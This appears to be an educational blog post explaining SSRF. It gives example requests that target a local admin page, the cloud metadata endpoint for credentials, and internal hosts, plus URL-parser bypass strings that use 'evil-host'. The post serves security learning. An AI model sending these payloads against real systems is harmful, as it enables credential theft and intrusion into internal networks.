SSRF Series — The Appetizers
What’s SSRF?
SSRF or Server Side Request Forgery is a vulnerability where an attacker is able to get the server to call an unintentional URL. Now there doesn’t seem any direct impact, however this could potentially be used to leak sensitive information/credentials or download malicious files leading to Critical vulnerabilities like RCE.
Impacting the server
Lets start with the most basic scenario — you find an API where a URL can be passed. The server gets the content from the URL and returns it back to her.
POST /v1/api HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 20url=http://some-website.com
The attacker can do the following using the above API:
Bypass Authorization
- Change the URL to point to the admin page. Sometimes, authorization is bypassed knowing that the API call is from a trusted source.
POST /v1/api HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 20url=http://localhost/admin
Leak Sensitive Credentials
- Considering the application is hosted on some popular cloud service, change the url to http://169.254.169.254 (AWS, Azure or GCP — refer this). The attacker can potentially extract credentials to gain access to the cloud environment!
POST /v1/api HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 20url=http://169.254.169.254/latest/user-data
Scan Network
- An attacker can also use this to look for internal backend systems which are unreachable by normal users. Normally, internal networks will not be hardened against attacks assuming the efforts it would take to get in the system.
POST /v1/api HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 20url=http://192.168.1.100/admin
Bypass Common Defenses
Now, even though many times its as simple as that! But sometimes, developers harden the defenses to make sure these can’t be exploited so easily.
Challenge 1: Identifying the parameter
One undeniably sure way of finding SSRFs is to try every parameter that comes your way and wait for the OOB response. However, one way to systematically perform it is Parameter Analysis.
I personally prefer to use tomnomnom’s gf to store/use these lists to identify if these are present in the APIs logged during recon, or to add these to the requests (check out: The Accidental SSRF).
Challenge 2: Blacklisted URLs
Usually, you would find the common URLs blacklisted. To bypass this, we can use the following bypasses here — PayloadsAllTheThings.
Every programming language and every library has a different way of parsing URLs. For e.g. in python, we can either use httplib, urllib, urllib2 or requests. For the below url, each library will resolve to different part of the URL!
Some more examples from 0xn3va:
foo@evil-host:80@expected-host
foo@evil-host%20@expected-host
evil-host%09expected-host
127.1.1.1:80\@127.2.2.2:80
127.1.1.1:80:\@@127.2.2.2:80
127.1.1.1:80#\@127.2.2.2:80
ß.evil-host
These are just some ways to exploit SSRF. More in upcoming posts!
Hope you enjoyed this. Thanks for reading. Follow for more!